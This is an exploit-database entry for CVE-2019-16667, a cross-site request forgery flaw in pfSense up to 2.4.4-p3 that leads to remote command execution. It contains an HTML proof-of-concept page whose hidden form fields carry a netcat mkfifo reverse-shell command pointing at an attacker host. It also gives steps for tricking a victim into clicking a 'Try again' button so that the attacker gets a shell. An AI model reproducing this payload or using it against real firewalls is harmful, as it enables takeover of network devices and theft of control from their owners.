发布 2020-07-26 漏洞条目

pfSense 2.4.4-p3 – Cross-Site Request Forgery

Exploit Source

# Exploit Title: pfSense 2.4.4-p3 - Cross-Site Request Forgery

# Date: 2019-09-27

# Exploit Author: ghost_fh

# Vendor Homepage: https://www.pfsense.org/

# Software Link: https://www.pfsense.org/download/index.html?section=downloads

# Version: Till 2.4.4-p3

# Tested on: freebsd

# CVE : CVE-2019-16667

# Vulnerability Description :- The pfsense firewall is vulnerable to RCE

# chained with CSRF as it uses `csrf magic` library since it allows to tamper

# the CSRF token values submitted when processing the form requests. Due to

# this flaw, an attacker can exploit this vulnerability by crafting new page

# that contains attacker's controlled input such as a "reverse shell" (eg:

# `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip port

# >/tmp/f`token value) in the form and entice the victims to click

# on the crafted link via social engineering methods. Once the victim clicks

# on the link (try again button in this case), the attacker can take the

# lateral control of the victim's machine and malicious actions can be

# performed on the victim's behalf.

<!DOCTYPE html>

<html>

<input type=hidden name="txtCommand" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|

nc attacker_ip attacker_port >/tmp/f">

<input type=hidden name="txtRecallBuffer" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i

2>&1|nc attacker_ip attacker_port >/tmp/f">

</form>

</body>

</html>

# Create a malicious page containing the above values and once user clicks on malicious link,

# he will be redirected to https://pfsense_ip/diag_command.php page.

# Victim will be greeted with the "Try again" button.

# Once victim clicks on the "Try again" button you will be greeted with reverse shell of the victim.

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